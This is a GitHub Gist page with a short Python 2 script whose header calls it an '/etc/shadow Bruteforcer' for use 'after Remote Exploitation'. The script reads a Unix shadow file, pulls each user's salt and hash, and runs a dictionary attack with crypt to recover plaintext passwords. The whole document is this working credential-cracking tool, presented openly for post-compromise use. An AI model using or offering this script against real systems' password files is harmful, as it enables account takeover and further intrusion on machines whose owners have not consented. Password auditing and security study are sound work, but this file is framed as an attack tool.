Last active
November 18, 2017 02:40
-
-
Save aadityapurani/bed4650d1283f92b852399d2774ec32a to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#/etc/shadow Bruteforcer | |
#Coded by Aaditya Purani | |
#Just for Fun after Remote Exploitation | |
#It will crack shadow password by Dictionary attack | |
import optparse | |
import crypt | |
def checkPass(cryptPass, dname): | |
salt = "$"+cryptPass.split('$')[1]+"$"+cryptPass.split('$')[2] | |
dictFile = open(dname, 'r') | |
for word in dictFile.readlines(): | |
word = word.strip('\n') | |
cryptWord = crypt.crypt(word, salt) | |
cryptPass = cryptPass.strip("\n") | |
if (cryptWord == cryptPass): | |
print "[+] The Password is "+word+"\n" | |
return | |
print "[-] Password not found \n" | |
return | |
def main(): | |
parser = optparse.OptionParser("usage %prog "+"-f <passwordFile> -d <dictionary>") | |
parser.add_option('-f', dest='pname', type='string', help='specify password file') | |
parser.add_option('-d', dest='dname', type='string', help='specify dictionary file') | |
(options, args) = parser.parse_args() | |
if (options.pname == None) | (options.dname == None): | |
print parser.usage | |
exit(0) | |
else: | |
pname = options.pname | |
dname = options.dname | |
passFile = open(pname) | |
for line in passFile.readlines(): | |
if ":" in line: | |
user = line.split(':')[0] | |
cryptPass = line.split(':')[1] | |
print "[*] Cracking Password for "+user | |
checkPass(cryptPass, dname) | |
if __name__ == '__main__': | |
main() | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment